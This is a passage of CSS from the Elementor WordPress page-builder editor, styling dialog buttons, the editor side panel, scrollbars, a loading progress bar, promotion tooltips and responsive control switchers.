.dialog-button.e-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:focus { background-color: var(--e-a-btn-bg-info-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning { background-color: var(--e-a-btn-bg-warning); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:focus { background-color: var(--e-a-btn-bg-warning-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger { background-color: var(--e-a-btn-bg-danger); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:focus { background-color: var(--e-a-btn-bg-danger-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button i, .dialog-type-alert .dialog-buttons-wrapper .dialog-button i { margin-inline-end: 5px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:visited, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:visited { color: initial; } /* * Container style */ .ps { overflow: hidden !important; overflow-anchor: none; touch-action: auto; } /* * Scrollbar rail styles */ .ps__rail-y { display: none; opacity: 0; transition: background-color 0.2s linear, opacity 0.2s linear; width: 15px; /* there must be 'right' or 'left' for ps__rail-y */ right: 0; left: initial !important; /* please don't change 'position' */ position: absolute; } .ps--active-y > .ps__rail-y { display: block; background-color: transparent; } .ps:hover > .ps__rail-y, .ps--focus > .ps__rail-y, .ps--scrolling-y > .ps__rail-y { opacity: 0.6; } .ps .ps__rail-y:hover, .ps .ps__rail-y:focus, .ps .ps__rail-y.ps--clicking { opacity: 0.9; } .ps__thumb-y { background-color: #aaa; border-radius: 6px; transition: background-color 0.2s linear, width 0.2s ease-in-out; width: 6px; /* there must be 'right' for ps__thumb-y */ right: 2px; /* please don't change 'position' */ position: absolute; } .ps__rail-y:hover > .ps__thumb-y, .ps__rail-y:focus > .ps__thumb-y, .ps__rail-y.ps--clicking .ps__thumb-y { background-color: #999; width: 6px; } /* Make clicks pass-through */ #nprogress { pointer-events: none; } #nprogress .bar { background: #D004D4; position: fixed; z-index: 1031; top: 0; left: 0; width: 100%; height: 2px; } /* Fancy blur effect */ #nprogress .peg { display: block; position: absolute; right: 0; width: 100px; height: 100%; box-shadow: 0 0 10px #D004D4, 0 0 5px #D004D4; opacity: 1; transform: rotate(3deg) translate(0px, -4px); } /* Remove these to get rid of the spinner */ #nprogress .spinner { display: none; position: fixed; z-index: 1031; top: 15px; right: 15px; } #nprogress .spinner-icon { width: 18px; height: 18px; box-sizing: border-box; border: solid 2px transparent; border-block-start-color: #D004D4; border-inline-start-color: #D004D4; border-radius: 50%; animation: nprogress-spinner 400ms linear infinite; } .nprogress-custom-parent { overflow: hidden; position: relative; } .nprogress-custom-parent #nprogress .spinner, .nprogress-custom-parent #nprogress .bar { position: absolute; } @keyframes nprogress-spinner { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } #nprogress .bar, #nprogress .spinner { z-index: 100000; } :root { --e-is-preview-mode: 0; } @media (max-width: 1439px) { :root { --e-editor-panel-width: 280px; } } @media (min-width: 1440px) { :root { --e-editor-panel-width: 300px; } } .elementor-panel { position: relative; height: 100%; margin-inline-start: calc(-1 * var(--e-editor-panel-width) * var(--e-is-preview-mode)); width: var(--e-editor-panel-width); overflow: visible; background-color: var(--e-a-bg-default); z-index: 1; font-family: var(--e-a-font-family); font-size: 13px; left: 0; } .elementor-panel h1, .elementor-panel h2, .elementor-panel h3, .elementor-panel h4, .elementor-panel h5, .elementor-panel h6 { font-size: 100%; font-weight: normal; } .elementor-panel abbr, .elementor-panel acronym { border: 0; font-variant: normal; } .elementor-panel sup { vertical-align: text-top; } .elementor-panel sub { vertical-align: text-bottom; } .elementor-panel img { max-width: 100%; height: auto; border: 0; } .elementor-panel :focus { outline: 0; } .elementor-panel .elementor-panel-box-content { padding: 20px 20px 10px; } .elementor-panel .elementor-button { display: inline-block; } .elementor-panel .elementor-panel-alert { background-color: var(--e-a-bg-primary); padding: 15px; border-inline-start: 3px solid var(--e-a-color-primary); position: relative; font-size: 12px; font-weight: 300; font-style: italic; line-height: 1.5; text-align: start; border-start-start-radius: 0; border-start-end-radius: 3px; border-end-start-radius: 0; border-end-end-radius: 3px; } .elementor-panel .elementor-panel-alert a { color: inherit; } .elementor-panel .elementor-panel-alert.elementor-panel-alert-info { border-color: var(--e-a-color-info); background: var(--e-a-bg-info); } .elementor-panel .elementor-panel-alert.elementor-panel-alert-success { border-color: var(--e-a-color-success); background: var(--e-a-bg-success); } .elementor-panel .elementor-panel-alert.elementor-panel-alert-warning { border-inline-start: 3px solid var(--e-a-color-warning); background: var(--e-a-bg-warning); } .elementor-panel .elementor-panel-alert.elementor-panel-alert-danger { border-color: var(--e-a-color-danger); background: var(--e-a-bg-danger); } .elementor-panel .elementor-descriptor, .elementor-panel .elementor-control-field-description { font-size: 11px; font-style: italic; line-height: 1.4; color: var(--e-a-color-txt-muted); } .elementor-panel .elementor-controls-popover { display: none; position: absolute; box-shadow: var(--e-a-popover-shadow); border-radius: var(--e-a-border-radius); left: 0; right: 0; margin: -4px auto 5px; padding-block-start: 15px; width: 90%; z-index: 10000; background-color: var(--e-a-bg-default); } .elementor-panel .elementor-controls-popover:before { content: ""; position: absolute; top: -16px; right: 22px; border: 8px solid transparent; border-block-end-color: var(--e-a-bg-default); } .elementor-panel .elementor-controls-popover div.elementor-control { background-color: transparent; } .elementor-panel .elementor-controls-popover div.elementor-control:before { content: none; } .elementor-panel #elementor-panel-global .elementor-nerd-box .elementor-nerd-box-icon { margin-block-start: 20px; } .elementor-editor-preview .elementor-panel { --e-is-preview-mode: 1; } .elementor-editor-preview .elementor-panel > .ui-resizable-e, .elementor-editor-preview .elementor-panel > .ui-resizable-w { display: none; } .elementor-editor-preview .elementor-panel #elementor-panel-elements-wrapper { display: flex; flex-direction: column; } .elementor-panel .ps__rail-y { z-index: 2; } .elementor-panel .elementor-responsive-panel { padding: 0 15px; display: grid; gap: 10px; grid-template-columns: repeat(auto-fill, minmax(min(135px, 50% - 5px), 1fr)); } .elementor-panel .elementor-responsive-panel > .e-responsive-panel-stretch { grid-column: 1/-1; } .elementor-panel #elementor-panel-header { display: flex; align-items: center; justify-content: space-between; height: 40px; width: 100%; background-color: var(--e-a-dark-bg); color: var(--e-a-color-white); } .elementor-panel #elementor-panel-header > * { display: flex; align-items: center; justify-content: center; } .elementor-panel .elementor-header-button { width: 40px; border: 0; color: currentColor; background-color: transparent; } .elementor-panel .elementor-header-button .elementor-icon { cursor: pointer; display: block; font-size: 19px; height: 40px; line-height: 40px; transition: var(--e-a-transition-hover); } .elementor-panel .elementor-header-button .elementor-icon.eicon-menu-bar { font-size: 18px; } .elementor-panel .elementor-header-button:hover, .elementor-panel .elementor-header-button:focus { color: var(--e-a-dark-color-txt-hover); } .elementor-panel #elementor-panel-header-title { flex: 1; font-size: 15px; font-weight: 700; } .elementor-panel #elementor-panel-header-title img { width: 90px; } .elementor-panel #elementor-panel-elements-categories { padding-block-end: 10px; position: relative; } .elementor-panel .elementor-panel-category { position: relative; border-block-end: var(--e-a-border); } .elementor-panel .elementor-panel-category .elementor-panel-heading { padding: 0 15px; border: none; background-color: transparent; } .elementor-panel .elementor-panel-category.elementor-active .elementor-panel-heading { border: none; } .elementor-panel .elementor-panel-category-items { padding-block-end: 20px; } .elementor-panel .elementor-panel-category-items-empty { grid-column-start: 1; grid-column-end: 3; } .elementor-panel #elementor-panel-page-menu { padding: 25px 15px; } .elementor-panel .elementor-panel-menu-group-title { text-transform: uppercase; font-size: 11px; } .elementor-panel .elementor-panel-menu-items { border: var(--e-a-border); margin: 15px 0 25px; border-radius: 5px; overflow: hidden; } .elementor-panel .elementor-panel-menu-item { display: flex; align-items: center; width: 100%; height: 40px; transition: var(--e-a-transition-hover); border: 0; background-color: transparent; cursor: pointer; } .elementor-panel .elementor-panel-menu-item:not(:last-child) { border-block-end: var(--e-a-border); } .elementor-panel .elementor-panel-menu-item:hover, .elementor-panel .elementor-panel-menu-item:focus { background-color: var(--e-a-bg-hover); } .elementor-panel .elementor-panel-menu-item:active { background-color: var(--e-a-bg-active); color: var(--e-a-color-txt-accent); } .elementor-panel .elementor-panel-menu-item-icon { text-align: center; width: 30px; flex-shrink: 0; padding: 10px 0; margin: 0 10px; font-size: 19px; } .elementor-panel .elementor-panel-menu-item-title { display: flex; flex-grow: 1; font-weight: 500; justify-content: space-between; } .elementor-panel .elementor-panel-menu-item-title-badge { margin: 0 10px; background: var(--e-a-color-white); border-radius: var(--e-a-border-radius); } .elementor-panel .elementor-panel-menu-item-title > span { color: var(--e-a-color-accent); } .elementor-panel .elementor-panel-menu-item a { display: flex; align-items: center; color: inherit; width: 100%; height: 100%; padding-inline-start: 10px; padding: 10px 0; } .elementor-panel .elementor-control.elementor-control-clear_page { background-color: transparent; } .elementor-panel .elementor-control.elementor-control-clear_page .elementor-control-raw-html { display: flex; align-items: center; justify-content: space-between; } .elementor-panel .elementor-panel-navigation { display: flex; width: 100%; border-block-end: var(--e-a-border); } .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab { all: unset; flex: auto; transition: var(--e-a-transition-hover); border-block-end: 3px solid transparent; cursor: pointer; } .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab:hover, .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab:focus { background-color: var(--e-a-bg-hover); } .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab:focus { outline: 0; } .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab.elementor-active { border-color: var(--e-a-border-color-accent); color: var(--e-a-color-txt-accent); } .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab.elementor-active span { color: var(--e-a-color-txt-accent); } .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab span { color: inherit; display: block; text-align: center; padding: 12px 0 8px; font-size: 10px; } .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab span:before { font-family: eicons; font-size: 16px; display: block; margin-block-end: 8px; } .elementor-panel .elementor-tab-control-content span:before { content: "\e92c"; } .elementor-panel .elementor-tab-control-style span:before { content: "\e921"; } .elementor-panel .elementor-tab-control-settings span:before { content: "\e940"; } .elementor-panel .elementor-tab-control-advanced-tab-floating-buttons span:before, .elementor-panel .elementor-tab-control-advanced-tab-links-in-bio span:before, .elementor-panel .elementor-tab-control-advanced-tab-floating-bars span:before, .elementor-panel .elementor-tab-control-advanced span:before, .elementor-panel .elementor-tab-control-general_style span:before { content: "\e916"; } .elementor-panel .elementor-tab-control-responsive span:before { content: "\e885"; } .elementor-panel .elementor-tab-control-lightbox span:before { content: "\e922"; } .elementor-panel .elementor-tab-control-layout span:before, .elementor-panel .elementor-tab-control-column span:before { content: "\e899"; } .elementor-panel #elementor-panel__editor__help { padding: 50px 25px; display: flex; align-items: center; justify-content: center; } .elementor-panel #elementor-panel__editor__help__link { display: inline-flex; align-items: center; justify-content: center; font-size: 85%; line-height: 2; padding-inline-start: 5px; color: inherit; font-weight: 500; transition: var(--e-a-transition-hover); } .elementor-panel #elementor-panel__editor__help__link:hover, .elementor-panel #elementor-panel__editor__help__link:focus { color: var(--e-a-color-info); } .elementor-panel #elementor-panel__editor__help__link i { padding: 0 5px; font-size: 125%; position: relative; } .elementor-panel #elementor-panel__editor__help__link i:after { content: ""; position: absolute; height: 13px; width: 13px; top: 3px; bottom: 0; left: 8px; right: 0; border-radius: 50%; z-index: -1; } .elementor-panel #elementor-panel-footer { position: relative; height: 40px; background-color: var(--e-a-dark-bg); color: var(--e-a-dark-color-txt); } .elementor-panel #elementor-panel-footer-tools { display: flex; justify-content: space-between; height: 100%; } .elementor-panel .elementor-panel-footer-tool { display: flex; align-items: center; justify-content: center; width: 15%; cursor: pointer; transition: var(--e-a-transition-hover); border: 0; color: currentColor; background-color: transparent; } .elementor-panel .elementor-panel-footer-tool i { font-size: 15px; } .elementor-panel .elementor-panel-footer-tool #elementor-panel-saver-button-save-options i.eicon-chevron-right { margin: auto; transform: rotate(270deg); } .elementor-panel .elementor-panel-footer-tool #elementor-panel-saver-button-save-options.elementor-disabled { cursor: inherit; } .elementor-panel .elementor-panel-footer-tool:not(.e-open):hover, .elementor-panel .elementor-panel-footer-tool:not(.e-open):focus { color: var(--e-a-dark-color-txt-hover); } .elementor-panel .elementor-panel-footer-tool:not(.e-open) .elementor-panel-footer-sub-menu-wrapper { display: none; } .elementor-panel #elementor-panel-footer-saver-publish { width: 30%; margin-inline-start: auto; } .elementor-panel #elementor-panel-footer-saver-publish .elementor-button-state i { margin-inline-end: 0; } .elementor-panel #elementor-panel-footer-saver-publish .elementor-button-state #elementor-panel-saver-button-publish-label { display: none; } .elementor-panel #elementor-panel-footer-saver-options { width: 10%; } .elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper { font-size: 11px; font-style: italic; padding: 5px 0 15px; } .elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper:not(.elementor-state-active) .elementor-state-icon { display: none; } .elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper time { border-block-end: 1px dotted transparent; transition: all ease-in-out 0.3s; cursor: pointer; } .elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper time:hover { border-block-end-color: inherit; } .elementor-panel #elementor-panel-footer-saver-options.e-open i.eicon-chevron-right { transform: rotate(90deg); } .elementor-panel #elementor-panel-saver-button-publish, .elementor-panel #elementor-panel-saver-button-save-options { padding: 0; font-size: 11px; height: 100%; width: 100%; border-radius: 0; } .elementor-panel #elementor-panel-saver-button-publish.elementor-disabled, .elementor-panel #elementor-panel-saver-button-save-options.elementor-disabled { background-color: #1f2124; color: #9DA5AE; } .elementor-panel #elementor-panel-saver-button-publish:not(.elementor-disabled) { border-inline-end: 1px solid #F0ABFC; } .elementor-panel #elementor-panel-saver-button-publish.elementor-disabled { border-inline-end: 1px solid #3f444b; } .elementor-panel .elementor-panel-footer-sub-menu-wrapper { position: absolute; bottom: 100%; left: 0; width: 100%; background-color: #1f2124; padding: 10px; box-shadow: -2px -5px 8px rgba(0, 0, 0, 0.1); cursor: default; z-index: 10000; } .elementor-panel .elementor-panel-footer-sub-menu { border-radius: var(--e-border-radius); overflow: hidden; border: 1px solid #3f444b; } .elementor-panel .elementor-panel-footer-sub-menu-item { display: flex; height: 40px; color: #D5D8DC; align-items: center; -moz-column-gap: 10px; column-gap: 10px; padding: 0 20px; transition: var(--e-a-transition-hover); cursor: pointer; } .elementor-panel .elementor-panel-footer-sub-menu-item.elementor-disabled { cursor: default; color: #69727D; } .elementor-panel .elementor-panel-footer-sub-menu-item:not(:last-child) { border-block-end: 1px solid #3f444b; } .elementor-panel .elementor-panel-footer-sub-menu-item:hover { background-color: rgba(255, 255, 255, 0.1); } .elementor-panel .elementor-panel-footer-sub-menu-item.active { background-color: rgba(255, 255, 255, 0.2); } #elementor-panel-elements-navigation .elementor-panel-navigation-tab { text-align: center; padding: 10px 0; font-size: 12px; cursor: pointer; } #elementor-panel-elements { overflow: hidden; } #elementor-panel-state-loading { display: none; } body.elementor-panel-loading #elementor-panel-state-loading { position: absolute; top: 0; left: 0; height: 100%; width: 100%; display: flex; align-items: center; justify-content: center; background-color: rgba(255, 255, 255, 0.5); z-index: 2; } #elementor-panel-state-loading .eicon-loading { font-size: 25px; color: var(--e-a-color-txt-accent); } #elementor-panel-elements-search-area { background-color: var(--e-a-bg-default); position: sticky; top: 0; padding: 15px; z-index: 1; } #elementor-panel-elements-search-wrapper { position: relative; } #elementor-panel-elements-search-input { font-size: 11px; padding-block: 10px; padding-inline: 29px 10px; font-style: italic; border: var(--e-a-border-bold); border-radius: 0; transition: all 1s; -webkit-appearance: none; -moz-appearance: none; appearance: none; } #elementor-panel-elements-search-input + i { position: absolute; left: 10px; top: 50%; color: var(--e-a-color-txt-disabled); transform: translateY(-50%); } #elementor-panel-elements-search-input:focus { border-color: var(--e-a-border-color-focus); padding-inline-end: 15px; } .elementor-panel .elementor-element { font-family: var(--e-a-font-family); color: var(--e-a-color-txt); line-height: 1; text-align: center; border: var(--e-a-border-bold); border-radius: 3px; cursor: move; position: relative; transition: var(--e-a-transition-hover); width: 100%; background-color: transparent; } .elementor-panel .elementor-element--promotion .elementor-element { cursor: pointer; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .elementor-panel .elementor-element:hover, .elementor-panel .elementor-element:focus { background-color: var(--e-a-bg-hover); border-color: var(--e-a-border-color-bold); } .elementor-panel .elementor-element:hover > .eicon-lock, .elementor-panel .elementor-element:focus > .eicon-lock { color: var(--e-a-color-accent); } .elementor-panel .elementor-element .icon { font-size: 28px; padding-block-start: 15px; } .elementor-panel .elementor-element .title-wrapper { display: flex; height: 40px; align-items: center; justify-content: center; } .elementor-panel .elementor-element .title { font-size: 12px; } .elementor-panel .elementor-element > .eicon-lock { position: absolute; top: 5px; right: 5px; color: var(--e-a-color-txt-disabled); } .elementor-panel .elementor-element:active { background-color: var(--e-a-bg-hover); border-color: var(--e-a-border-color-accent); color: var(--e-a-color-txt-accent); } #elementor-element--promotion__dialog { position: absolute; width: 300px; z-index: 1; background-color: var(--e-a-bg-default); box-shadow: var(--e-a-popover-shadow); border-radius: var(--e-a-border-radius); } #elementor-element--promotion__dialog:after { content: ""; position: absolute; top: 15px; right: 100%; transform: scaleY(0.7); border: 10px solid transparent; border-inline-end-color: var(--e-a-bg-default); } #elementor-element--promotion__dialog__title { font-size: 14px; } #elementor-element--promotion__dialog .dialog-header { display: flex; padding: 20px; border-block-end: var(--e-a-border); font-weight: 500; } #elementor-element--promotion__dialog .dialog-header .eicon-pro-icon { flex-grow: 1; margin-inline-start: 10px; font-size: 14px; color: var(--e-a-color-accent); } #elementor-element--promotion__dialog .dialog-header .eicon-close { cursor: pointer; color: var(--e-a-color-txt-disabled); } #elementor-element--promotion__dialog .dialog-header .eicon-close:hover { color: var(--e-a-color-txt-muted); } #elementor-element--promotion__dialog .dialog-message { padding: 20px; } #elementor-element--promotion__dialog .dialog-buttons-wrapper { padding: 0 20px 20px; } #elementor-element--promotion__dialog .dialog-button { padding: 7px 25px; font-size: 12px; } .dialog-tooltip-widget { position: absolute; width: 300px; z-index: 1; background-color: var(--e-a-bg-default); box-shadow: 0 2px 15px rgba(0, 0, 0, 0.3); border-radius: 3px; } .dialog-tooltip-widget:after { content: ""; position: absolute; top: 15px; right: 100%; transform: scaleY(0.7); border: 10px solid transparent; border-inline-end-color: var(--e-a-bg-default); } .dialog-tooltip-widget__title { font-size: 14px; } .dialog-tooltip-widget .dialog-tooltip-header { display: flex; padding: 20px 20px 0; color: var(--e-a-color-txt); border-block-end: 1px solid var(--e-a-bg-default); font-weight: 500; } .dialog-tooltip-widget .dialog-tooltip-header .eicon-pro-icon { flex-grow: 1; margin-inline-start: 10px; font-size: 14px; color: #93003f; } .dialog-tooltip-widget .dialog-tooltip-header .eicon-close { cursor: pointer; margin-inline-start: auto; color: var(--e-a-color-txt); } .dialog-tooltip-widget .dialog-tooltip-message { padding: 20px; } .dialog-tooltip-widget .dialog-tooltip-buttons-wrapper { padding: 0 20px 20px 20px; text-align: end; } .dialog-tooltip-widget .dialog-tooltip-button { padding: 7px 25px; font-size: 12px; } .dialog-tooltip-widget .dialog-tooltip-button::-moz-focus-inner { border: 0; } #elementor-panel-inner { position: relative; height: 100%; display: flex; flex-direction: column; box-shadow: 0 0 5px 0 rgba(0, 0, 0, 0.1); } #elementor-panel-content-wrapper { position: relative; width: 100%; flex: 1; } .elementor-panel-container { clear: both; padding-inline-start: 15px; padding-inline-end: 15px; } #elementor-panel-get-pro-elements .elementor-nerd-box-message { margin-block-start: 10px; } #elementor-panel-get-pro-elements .elementor-nerd-box-icon { margin-block-start: 20px; } #elementor-panel-get-pro-elements-sticky { position: sticky; bottom: 0; font-size: 14px; font-weight: 400; line-height: 1.6; margin-block-end: -10px; } #elementor-panel-get-pro-elements-sticky .elementor-get-pro-sticky-message { margin-top: -14px; min-height: 40px; display: block; padding: 9px min(35px, 5%); gap: 10px; background-color: var(--e-a-color-white); color: var(--e-a-color-black); text-align: center; box-shadow: 0px -10px 14px -6px rgba(0, 0, 0, 0.05); } #elementor-panel-get-pro-elements-sticky .elementor-get-pro-sticky-message a { display: inline-block; font-size: 13px; font-weight: 500; color: var(--e-a-btn-bg-accent); } #elementor-panel-get-pro-elements-sticky img { margin-left: 17px; } #elementor-panel-notice-wrapper .elementor-panel-notice { width: 90%; margin: 0 auto; font-style: unset; margin-block-end: 15px; } #elementor-panel-notice-wrapper .elementor-panel-notice a { font-weight: bold; font-style: italic; border-block-end: 2px dotted var(--e-a-color-info); display: inline-block; } body.e-has-notification:not(.e-route-panel-menu) #elementor-panel-header-menu-button, body.e-has-notification .elementor-panel-menu-item.elementor-panel-menu-item-notification-center .elementor-panel-menu-item-icon { position: relative; } body.e-has-notification:not(.e-route-panel-menu) #elementor-panel-header-menu-button:after, body.e-has-notification .elementor-panel-menu-item.elementor-panel-menu-item-notification-center .elementor-panel-menu-item-icon:after { position: absolute; content: ""; display: block; background: var(--e-a-color-primary); border-radius: 50%; width: 8px; height: 8px; top: 5px; right: 5px; } .media-modal.wp-core-ui { color-scheme: light; color: #515962; } .media-modal.wp-core-ui select { width: initial; padding-inline: 8px; } .media-modal.wp-core-ui fieldset { padding: 0; border: 0; } .elementor-control { --control-title-size: 12px; position: relative; padding: 0 20px 15px; } .elementor-control a { font-weight: 500; text-decoration: none; border-block-end: 1px dotted transparent; transition: all ease-in-out 0.3s; } .elementor-control a:hover { border-block-end-color: inherit; } .elementor-control .elementor-control-content { display: flex; flex-direction: column; } .elementor-control .elementor-control-title { font-size: var(--control-title-size); line-height: 1; margin-inline-end: 5px; } .elementor-control .elementor-control-title:empty { display: none; } .elementor-control .elementor-control-spinner { display: flex; align-items: center; } .elementor-control.elementor-control-type-divider { padding: 0; } .elementor-control.elementor-control-type-divider .elementor-control-content { border-width: 0; border-block-start: var(--e-a-border); background-color: var(--e-a-bg-default); height: 15px; } .elementor-control.elementor-control-separator-before { padding-block-start: 15px; } .elementor-control.elementor-control-separator-before:before { content: ""; position: absolute; height: 1px; width: calc(100% - 40px); top: 0; left: 20px; background-color: var(--e-a-border-color); } .elementor-control.elementor-control-separator-after:after { content: ""; position: absolute; height: 1px; width: calc(100% - 40px); bottom: 0; left: 20px; background-color: var(--e-a-border-color); } .elementor-control.elementor-control-separator-after + .elementor-control-type-tabs + .elementor-control-separator-default, .elementor-control.elementor-control-separator-after:not(.elementor-hidden-control) + .elementor-control-separator-default { padding-block-start: 15px; } .elementor-control.elementor-control-deprecated { color: var(--e-a-color-warning); } .elementor-control.elementor-control-deprecated .elementor-control-field-description { color: var(--e-a-color-warning); } .elementor-control.elementor-control-hidden-label > * > .elementor-control-title, .elementor-control.elementor-control-hidden-label > * > * > .elementor-control-title { display: none; } .elementor-control.elementor-hidden-control { display: none; } .elementor-control.elementor-control-type-heading .elementor-control-title { font-weight: bold; margin: 0; } body:not(.elementor-device-widescreen) .elementor-control.elementor-control-responsive-widescreen { display: none; } body:not(.elementor-device-desktop) .elementor-control.elementor-control-responsive-desktop { display: none; } body:not(.elementor-device-laptop) .elementor-control.elementor-control-responsive-laptop { display: none; } body:not(.elementor-device-tablet_extra) .elementor-control.elementor-control-responsive-tablet_extra { display: none; } body:not(.elementor-device-tablet) .elementor-control.elementor-control-responsive-tablet { display: none; } body:not(.elementor-device-mobile_extra) .elementor-control.elementor-control-responsive-mobile_extra { display: none; } body:not(.elementor-device-mobile) .elementor-control.elementor-control-responsive-mobile { display: none; } .elementor-control-custom_css_pro .elementor-nerd-box-message, .elementor-control-custom_attributes_pro .elementor-nerd-box-message { margin-block-start: 5px; } .elementor-control.e-open .elementor-panel-heading-toggle .eicon:before, .elementor-control.elementor-active .elementor-panel-heading-toggle .eicon:before, .elementor-panel-category.e-open .elementor-panel-heading-toggle .eicon:before, .elementor-panel-category.elementor-active .elementor-panel-heading-toggle .eicon:before, .elementor-panel-scheme-item.e-open .elementor-panel-heading-toggle .eicon:before, .elementor-panel-scheme-item.elementor-active .elementor-panel-heading-toggle .eicon:before { content: "\e92a"; } .elementor-control:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before, .elementor-panel-category:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before, .elementor-panel-scheme-item:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before { content: "\e90a"; } .elementor-panel-heading { display: flex; align-items: center; gap: 5px; height: 48px; padding-inline: 20px; width: 100%; border: 0; border-block-start: var(--e-a-border); border-block-start-width: 2px; background-color: transparent; color: var(--e-a-color-txt-accent); cursor: pointer; } .elementor-panel-heading-toggle { width: 10px; display: flex; flex-direction: column; align-items: center; } .elementor-panel-heading-title { font-weight: bold; } .elementor-panel-heading-promotion { margin-inline-start: auto; } .elementor-panel-heading-promotion a { color: var(--e-a-color-accent-promotion); font-family: "Roboto", sans-serif; font-weight: 500; font-size: 13px; } .elementor-panel-heading-promotion a i { margin-inline-end: 4px; font-size: 14px; } .elementor-panel-heading-promotion a:hover { color: var(--e-a-color-accent-promotion); } .elementor-panel-heading:focus-visible { color: var(--e-a-color-txt-hover); } #elementor-controls .elementor-control-type-section:first-child .elementor-panel-heading { border-block-start: none; } .elementor-control-field { display: flex; align-items: center; } .elementor-label-block > .elementor-control-content > .elementor-control-field { flex-wrap: wrap; } .elementor-label-block > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { width: 100%; max-width: 100%; margin-block-start: 10px; } .elementor-label-block > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper > .elementor-choices label { width: auto; flex: 1 1 27px; display: flex; align-items: center; justify-content: center; } .elementor-label-block.elementor-control-hidden-label:not(.elementor-control-dynamic) > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-block-start: 0; } .elementor-label-block.elementor-control-hidden-label.elementor-label-block > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-block-start: 0; } .elementor-label-inline > .elementor-control-content > .elementor-control-field > .elementor-control-title { flex-shrink: 0; max-width: 60%; } .elementor-label-inline > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-inline-start: auto; } .elementor-control-field-description { margin-block-start: 10px; } .elementor-group-control-attachment_alert .elementor-control-field-description { margin-block-start: 0; } .elementor-update-preview { margin: 15px 15px 0; display: flex; align-items: center; } .elementor-update-preview-button-wrapper { flex-grow: 1; text-align: end; } .elementor-update-preview-button { padding: 8px 15px; } .elementor-control-direction-ltr input, .elementor-control-direction-ltr textarea { direction: ltr; } .elementor-control-direction-rtl input, .elementor-control-direction-rtl textarea { direction: rtl; } .elementor-control-responsive-switchers { --selected-option: 0; --pointer-position: var(--selected-option); position: relative; width: 2.5em; height: 2.5em; margin: calc(-2.5em + 12px) 0; margin-inline-end: 5px; } .elementor-control-responsive-switchers__holder { position: absolute; width: 100%; top: 0; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); transition: 0.15s; border: 1px solid transparent; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open { z-index: 11000; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder { box-shadow: var(--e-a-dropdown-shadow); } .elementor-responsive-switcher { all: unset; display: flex; align-items: center; justify-content: center; position: relative; z-index: 2; cursor: pointer; height: 0; width: 100%; transform: scale(0); opacity: 0; transition: 0.15s; font-size: 12px; color: inherit; } .elementor-responsive-switcher:hover { color: 